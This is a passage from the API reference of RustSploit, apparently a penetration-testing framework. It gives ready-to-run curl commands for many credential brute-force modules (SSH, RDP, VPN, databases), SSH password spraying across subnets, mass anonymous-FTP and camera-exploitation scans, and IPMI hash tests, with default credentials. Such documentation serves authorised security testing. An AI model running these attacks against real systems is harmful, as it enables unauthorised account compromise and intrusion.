# RustSploit API — Template Commands (Complete Reference)
# ═══════════════════════════════════════════════════════════════
# Full API command reference for all 242 modules
# (legacy entries 1-192 + recently-added entries in the
# "ADDITIONAL MODULES" section near the end of this file)
# Default creds: admin/password123, root/toor
# SNMP community: public
#
# API Key: testkey123 (replace with your actual key)
# Wordlists: Use absolute paths to wordlist files
#
# Start API:  cargo run -- --api --api-key testkey123 --interface 127.0.0.1
# ═══════════════════════════════════════════════════════════════
#
# NOTES:
# - combo_mode accepts: "linear", "combo", or "spray" (not y/n)
# - All prompts go in the "prompts" JSON object
# - Dedicated top-level fields: port, username_wordlist, password_wordlist,
#   concurrency, stop_on_success, save_results, output_file, verbose, combo_mode
# - These can also be passed via the prompts map for fine-grained control
# ═══════════════════════════════════════════════════════════════

# ─── Health Check ────────────────────────────────────────────────────

curl -s http://127.0.0.1:8080/health | python3 -m json.tool

# ─── List Modules ───────────────────────────────────────────────────

curl -s http://127.0.0.1:8080/api/modules \
  -H 'Authorization: Bearer testkey123' | python3 -m json.tool

# ─── Search Modules ─────────────────────────────────────────────────

curl -s "http://127.0.0.1:8080/api/modules/search?q=ssh" \
  -H 'Authorization: Bearer testkey123' | python3 -m json.tool

# ─── Set Target ─────────────────────────────────────────────────────

curl -s -X POST http://127.0.0.1:8080/api/target \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{"target": "127.0.0.1"}' | python3 -m json.tool

# ─── Set Target (CIDR subnet) ──────────────────────────────────────

curl -s -X POST http://127.0.0.1:8080/api/target \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{"target": "192.168.1.0/24"}' | python3 -m json.tool

# ─── Show Target ────────────────────────────────────────────────────

curl -s http://127.0.0.1:8080/api/target \
  -H 'Authorization: Bearer testkey123' | python3 -m json.tool

# ─── List Result Files ──────────────────────────────────────────────

curl -s http://127.0.0.1:8080/api/results \
  -H 'Authorization: Bearer testkey123' | python3 -m json.tool

# ─── Get Result File ────────────────────────────────────────────────

curl -s http://127.0.0.1:8080/api/results/ssh_results.txt \
  -H 'Authorization: Bearer testkey123' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# CREDENTIAL MODULES (1-29)
# Bruteforce / credential checking modules
# save_results: "y" enables output file creation
# CIDR: use target like "127.0.0.1/32" or "192.168.1.0/24"
# ═══════════════════════════════════════════════════════════════

# ─── 1. SSH Bruteforce ──────────────────────────────────────────────
# TESTED ✅ — Found root:toor against emulated SSH on port 2222
# save_results ✅ — Saved to ssh_results.txt
# CIDR ✅ — Subnet detected, sequential per-host scanning

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/ssh_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "port": "2222",
      "use_defaults": "n",
      "use_username_wordlist": "y",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "use_password_wordlist": "y",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "5",
      "timeout": "5",
      "retry_on_error": "n",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "ssh_results.txt",
      "verbose": "n",
      "combo_mode": "combo",
      "save_unknown_responses": "n"
    }
  }' | python3 -m json.tool

# ─── 2. FTP Bruteforce ──────────────────────────────────────────────
# No emulator available. save_results and CIDR implemented.

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/ftp_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "21",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "ftp_results.txt",
      "verbose": "n",
      "combo_mode": "combo"
    }
  }' | python3 -m json.tool

# ─── 3. SMTP Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found root:toor against emulated SMTP on port 2525
# save_results ✅ — Saved to smtp_results.txt

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/smtp_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "port": "2525",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "threads": "5",
      "delay_ms": "100",
      "stop_on_success": "y",
      "combo_mode": "combo",
      "verbose": "n",
      "save_results": "y",
      "output_file": "smtp_results.txt"
    }
  }' | python3 -m json.tool

# ─── 4. POP3 Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found root:toor against emulated POP3 on port 1110
# save_results ✅ — Saved to pop3_results.txt

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/pop3_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "use_ssl": "n",
      "port": "1110",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "threads": "5",
      "delay_ms": "50",
      "timeout": "5",
      "combo_mode": "combo",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "pop3_results.txt",
      "verbose": "n",
      "retry_on_error": "n"
    }
  }' | python3 -m json.tool

# ─── 5. MQTT Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found root:toor + admin:password123 against emulated MQTT on port 1884
# save_results ✅

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/mqtt_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "port": "1884",
      "use_tls": "n",
      "test_anonymous": "n",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "5",
      "timeout": "5",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "mqtt_results.txt",
      "verbose": "n",
      "combo_mode": "combo",
      "client_id": "rustsploit"
    }
  }' | python3 -m json.tool

# ─── 6. SNMP Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found community 'public' against emulated SNMP on port 1161
# save_results ✅ — Saved to snmp_results.txt

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/snmp_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "port": "1161",
      "community_wordlist": "/usr/share/wordlists/snmp_communities.txt",
      "snmp_version": "2c",
      "concurrency": "5",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "snmp_results.txt",
      "verbose": "n",
      "timeout": "3"
    }
  }' | python3 -m json.tool

# ─── 7. RTSP Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found admin:password123 + root:toor against emulated RTSP on port 5554
# save_results ✅ — Saved to rtsp_results.txt

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/rtsp_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "port": "5554",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "5",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "rtsp_results.txt",
      "verbose": "n",
      "combo_mode": "combo",
      "advanced_mode": "n",
      "brute_force_paths": "n"
    }
  }' | python3 -m json.tool

# ─── 8. Telnet Bruteforce ─────────────────────────────────────────
# TESTED ✅ — Module runs, mode 4 quick default check works
# Mode 4 = Quick Default Check (built-in credential list)
# Mode 1 = Single Target with custom wordlists

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/telnet_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "mode": "4",
      "port": "2323",
      "verbose": "n",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "telnet_results.txt"
    }
  }' | python3 -m json.tool

# ─── 9. RDP Bruteforce ─────────────────────────────────────────────
# Requires xfreerdp on the system. No emulated server available.

curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/rdp_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "3389",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "5",
      "timeout": "10",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "rdp_results.txt",
      "verbose": "n",
      "combo_mode": "combo",
      "security_level": "1"
    }
  }' | python3 -m json.tool

# ─── 10. Fortinet SSL VPN Bruteforce ────────────────────────────────
# HTTPS module. Emulated server on port 4443.

curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/fortinet_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "port": "4443",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "3",
      "timeout": "10",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "fortinet_results.txt",
      "verbose": "n",
      "combo_mode": "combo",
      "trusted_cert": "",
      "realm": ""
    }
  }' | python3 -m json.tool

# ─── 11. L2TP Bruteforce ──────────────────────────────────────────
# L2TP/CHAP protocol. Port 1701 (UDP).

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/l2tp_bruteforce",
    "target": "127.0.0.1",
    "prompts": {
      "port": "1701",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "3",
      "timeout_ms": "5000",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "l2tp_results.txt",
      "verbose": "n",
      "combo_mode": "combo"
    }
  }' | python3 -m json.tool

# ─── 12. MySQL Bruteforce ──────────────────────────────────────────
# MySQL authentication bruteforce. Default port 3306.
# Prompts: port, use_defaults, use_username_wordlist, username_wordlist,
#          use_password_wordlist, password_wordlist, concurrency, verbose, output_file

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/mysql_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "3306",
      "use_defaults": "y",
      "use_username_wordlist": "y",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "use_password_wordlist": "y",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "verbose": "n",
      "output_file": "mysql_results.txt"
    }
  }' | python3 -m json.tool

# ─── 13. PostgreSQL Bruteforce ──────────────────────────────────────
# PostgreSQL bruteforce with database selection. Default port 5432.
# Prompts: port, database (default "postgres"), use_defaults, use_username_wordlist,
#          username_wordlist, use_password_wordlist, password_wordlist, concurrency, verbose, output_file

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/postgres_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "5432",
      "database": "postgres",
      "use_defaults": "y",
      "use_username_wordlist": "y",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "use_password_wordlist": "y",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "verbose": "n",
      "output_file": "postgres_results.txt"
    }
  }' | python3 -m json.tool

# ─── 14. Elasticsearch Bruteforce ──────────────────────────────────
# Elasticsearch HTTP auth bruteforce. Default port 9200.
# Prompts: port, username_wordlist, password_wordlist, concurrency, verbose, output_file, timeout

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/elasticsearch_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "9200",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "timeout": "10",
      "verbose": "n",
      "output_file": "elasticsearch_results.txt"
    }
  }' | python3 -m json.tool

# ─── 15. CouchDB Bruteforce ────────────────────────────────────────
# CouchDB HTTP auth bruteforce. Default port 5984.
# Prompts: port, username_wordlist, password_wordlist, concurrency, verbose, output_file, timeout

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/couchdb_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "5984",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "timeout": "10",
      "verbose": "n",
      "output_file": "couchdb_results.txt"
    }
  }' | python3 -m json.tool

# ─── 16. HTTP Basic Bruteforce ─────────────────────────────────────
# HTTP Basic authentication bruteforce. Adds use_https, url_path prompts.
# Prompts: use_https, url_path (default "/"), username_wordlist, password_wordlist, etc.

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/http_basic_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "use_https": "n",
      "url_path": "/admin",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "stop_on_success": "y",
      "verbose": "n",
      "output_file": "http_basic_results.txt"
    }
  }' | python3 -m json.tool

# ─── 17. IMAP Bruteforce ───────────────────────────────────────────
# IMAP authentication bruteforce. use_tls selects port 993 (TLS) vs 143 (plain).
# Prompts: use_tls, username_wordlist, password_wordlist, concurrency, stop_on_success, verbose, output_file

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/imap_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "use_tls": "n",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "stop_on_success": "y",
      "verbose": "n",
      "output_file": "imap_results.txt"
    }
  }' | python3 -m json.tool

# ─── 18. Memcached Bruteforce ──────────────────────────────────────
# Memcached SASL authentication bruteforce. Default port 11211.
# Prompts: port, use_defaults, username_wordlist, password_wordlist, concurrency, verbose, output_file, timeout

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/memcached_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "11211",
      "use_defaults": "y",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "timeout": "5",
      "verbose": "n",
      "output_file": "memcached_results.txt"
    }
  }' | python3 -m json.tool

# ─── 19. Redis Bruteforce ──────────────────────────────────────────
# Redis auth bruteforce. use_acl enables Redis 6+ ACL mode (username+password).
# Default port 6379. Without ACL, password-only auth.
# Prompts: use_acl, username_wordlist (ACL only), password_wordlist, concurrency,
#          stop_on_success, verbose, output_file

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/redis_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "use_acl": "n",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "10",
      "stop_on_success": "y",
      "verbose": "n",
      "output_file": "redis_results.txt"
    }
  }' | python3 -m json.tool

# ─── 20. VNC Bruteforce ────────────────────────────────────────────
# VNC password-only bruteforce (no username). Default port 5900.
# Prompts: port, use_defaults, use_password_wordlist, password_wordlist,
#          concurrency, stop_on_success, verbose, output_file, retry_on_error, max_retries

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/vnc_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "port": "5900",
      "use_defaults": "y",
      "use_password_wordlist": "y",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "concurrency": "5",
      "stop_on_success": "y",
      "save_results": "y",
      "output_file": "vnc_results.txt",
      "verbose": "n",
      "retry_on_error": "y",
      "max_retries": "2"
    }
  }' | python3 -m json.tool

# ─── 21. Proxy Bruteforce ──────────────────────────────────────────
# Proxy authentication bruteforce. Supports http_connect, socks5, http_forward.
# Prompts: proxy_type, port, username_wordlist, password_wordlist, combo_mode,
#          concurrency, stop_on_success, verbose, output_file, timeout

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/proxy_bruteforce",
    "target": "10.0.0.1",
    "prompts": {
      "proxy_type": "http_connect",
      "port": "3128",
      "username_wordlist": "/usr/share/wordlists/usernames.txt",
      "password_wordlist": "/usr/share/wordlists/passwords.txt",
      "combo_mode": "combo",
      "concurrency": "10",
      "stop_on_success": "y",
      "verbose": "n",
      "output_file": "proxy_brute_results.txt",
      "timeout": "5000"
    }
  }' | python3 -m json.tool

# ─── 22. SSH User Enum ──────────────────────────────────────────────
# Enumerates valid usernames via timing/response analysis.

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/ssh_user_enum",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "username_wordlist": "/usr/share/wordlists/usernames.txt" }
  }' | python3 -m json.tool

# ─── 23. SSH Spray ──────────────────────────────────────────────────
# Password spraying across multiple hosts with a single credential.

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/ssh_spray",
    "target": "192.168.1.0/24",
    "prompts": { "port": "22", "username": "admin", "password": "admin", "concurrency": "20" }
  }' | python3 -m json.tool

# ─── 24. Telnet Hose ────────────────────────────────────────────────
# Rapid telnet default credential spray.

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/telnet_hose",
    "target": "192.168.1.1",
    "prompts": { "port": "23" }
  }' | python3 -m json.tool

# ─── 25. Enable Bruteforce ──────────────────────────────────────────
# Bruteforce Cisco-style enable password via telnet.

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/enablebruteforce",
    "target": "192.168.1.1",
    "prompts": { "port": "23", "password_wordlist": "/usr/share/wordlists/rockyou.txt" }
  }' | python3 -m json.tool

# ─── 26. FTP Anonymous ──────────────────────────────────────────────
# Check for anonymous FTP login. target "0.0.0.0" = mass scan.

curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/ftp_anonymous",
    "target": "192.168.1.200",
    "prompts": {
      "concurrency": "500",
      "verbose": "n",
      "output_file": "ftp_anon_results.txt",
      "use_exclusions": "y"
    }
  }' | python3 -m json.tool

# ─── 27. CamXploit ──────────────────────────────────────────────────
# Camera discovery / exploitation scanner. Fingerprints ports, tests default creds.

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/camxploit/camxploit",
    "target": "192.168.1.150",
    "prompts": {
      "concurrency": "200",
      "output_file": "camxploit_results.txt"
    }
  }' | python3 -m json.tool

# ─── 28. ACTi Camera Default Creds ──────────────────────────────────
# Tests default credentials against ACTi IP cameras.

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/camera/acti/acti_camera_default",
    "target": "192.168.1.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 29. Sample Cred Check ──────────────────────────────────────────
# Minimal sample credential check module. Target only.

curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "creds/generic/sample_cred_check",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# SCANNER MODULES (30-56)
# All scanner modules fully API-compatible via cfg_prompt_* wrappers.
# ═══════════════════════════════════════════════════════════════

# ─── 30. Port Scanner ──────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/port_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "port_range": "1-1024",
      "scan_method": "1",
      "concurrency": "200",
      "timeout": "3",
      "show_only_open": "y",
      "verbose": "n",
      "output_file": ""
    }
  }' | python3 -m json.tool

# ─── 31. SSH Scanner (Banner Grab) ───────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/ssh_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "port": "22",
      "additional_targets": "",
      "load_from_file": "n",
      "threads": "10",
      "timeout": "5",
      "save_results": "y",
      "output_file": "ssh_scan_results.txt"
    }
  }' | python3 -m json.tool

# ─── 32. DNS Recursion Scanner ───────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/dns_recursion",
    "target": "8.8.8.8",
    "prompts": {
      "port": "53",
      "domain": "google.com",
      "record_type": "A"
    }
  }' | python3 -m json.tool

# ─── 33. HTTP Title Scanner ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/http_title_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "additional_targets": "",
      "target_file": "",
      "check_http": "y",
      "check_https": "y",
      "use_ports": "n",
      "timeout": "10",
      "save_results": "y",
      "verbose": "n"
    }
  }' | python3 -m json.tool

# ─── 34. HTTP Method Scanner ────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/http_method_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "additional_targets": "",
      "target_file": "",
      "scheme": "https",
      "use_ports": "n",
      "timeout": "10",
      "verbose": "n",
      "save_results": "y"
    }
  }' | python3 -m json.tool

# ─── 35. SMTP User Enum ─────────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/smtp_user_enum",
    "target": "192.168.1.1",
    "prompts": {
      "mode": "1",
      "port": "25",
      "wordlist": "/usr/share/wordlists/usernames.txt",
      "threads": "10",
      "timeout_ms": "3000",
      "verbose": "n",
      "save_valid": "y",
      "valid_output": "smtp_valid_users.txt"
    }
  }' | python3 -m json.tool

# ─── 36. Ping Sweep ─────────────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/ping_sweep",
    "target": "192.168.1.0/24",
    "prompts": {
      "add_manual_targets": "n",
      "load_from_file": "n",
      "timeout": "3",
      "concurrency": "100",
      "verbose": "n",
      "save_up_hosts": "y",
      "up_hosts_file": "ping_sweep_up_hosts.txt",
      "save_down_hosts": "n",
      "use_icmp": "y",
      "use_tcp": "n",
      "use_syn": "n",
      "use_ack": "n"
    }
  }' | python3 -m json.tool

# ─── 37. Directory Brute Force ──────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/dir_brute",
    "target": "192.168.1.1",
    "prompts": {
      "mode": "1",
      "target": "192.168.1.1",
      "use_https": "y",
      "port": "443",
      "base_path": "/",
      "wordlist": "/usr/share/wordlists/dirb/common.txt",
      "save_results": "y",
      "sort_by": "1"
    }
  }' | python3 -m json.tool

# ─── 38. Sequential Fuzzer ──────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/sequential_fuzzer",
    "target": "http://192.168.1.1/",
    "prompts": {
      "mode": "1",
      "min_length": "1",
      "max_length": "3",
      "verbose": "n"
    }
  }' | python3 -m json.tool

# ─── 39. API Endpoint Scanner ───────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/api_endpoint_scanner",
    "target": "https://192.168.1.1",
    "prompts": {
      "output_dir": "api_scan_results",
      "use_spoofing": "n",
      "use_generic_payload": "y",
      "enable_delete": "n",
      "enable_extended_methods": "n",
      "modules": "1",
      "concurrency": "10",
      "timeout": "10",
      "endpoint_source": "1",
      "endpoint_file": "/tmp/endpoints.txt"
    }
  }' | python3 -m json.tool

# ─── 40. IPMI Enum/Exploit ──────────────────────────────────────
# Mode 1=Single target, 2=CIDR scan, 3=File-based scan
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/ipmi_enum_exploit",
    "target": "192.168.1.1",
    "prompts": {
      "mode": "1",
      "target": "192.168.1.1",
      "port": "623",
      "test_cipher_zero": "y",
      "test_anonymous": "y",
      "test_default_creds": "y",
      "test_rakp_hash": "y",
      "concurrency": "1",
      "output_file": "ipmi_scan_results.csv"
    }
  }' | python3 -m json.tool

# ─── 41. SSDP MSearch Scanner ───────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/ssdp_msearch",
    "target": "192.168.1.1",
    "prompts": {
      "port": "1900",
      "timeout": "5",
      "retries": "2",
      "verbose": "y",
      "save_results": "y",
      "search_target": "ssdp:all"
    }
  }' | python3 -m json.tool

# ─── 42. Sample Scanner ────────────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/sample_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "timeout": "5",
      "check_http": "y",
      "check_https": "y",
      "verbose": "n",
      "save_results": "y",
      "output_file": "sample_scan.txt"
    }
  }' | python3 -m json.tool

# ─── 43. Banner Grabber ────────────────────────────────────────
# REMOVED — module deleted. Use `scanners/service_scanner` (entry 44)
# for service identification or `scanners/port_scanner` (entry 30) for
# raw banner pulls.

# ─── 44. Service Scanner ───────────────────────────────────────
# Identifies services and versions on open ports.
# Prompts: ports, concurrency, timeout, save_results, output_file

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/service_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "ports": "21,22,23,25,80,110,143,443,993,3306,5432,6379,8080,8443",
      "concurrency": "50",
      "timeout": "5",
      "save_results": "y",
      "output_file": "service_scan_results.txt"
    }
  }' | python3 -m json.tool

# ─── 45. SSL Scanner ───────────────────────────────────────────
# Checks SSL/TLS configuration, certificates, weak ciphers.
# Prompts: port, timeout, additional_targets, save_results, output_file

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/ssl_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "port": "443",
      "timeout": "10",
      "additional_targets": "",
      "save_results": "y",
      "output_file": "ssl_scan_results.txt"
    }
  }' | python3 -m json.tool

# ─── 46. SNMP Scanner ──────────────────────────────────────────
# Scans for SNMP services and tests community strings.
# Prompts: port, timeout, snmp_version (1/2c/both), wordlist, save_results, output_file

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/snmp_scanner",
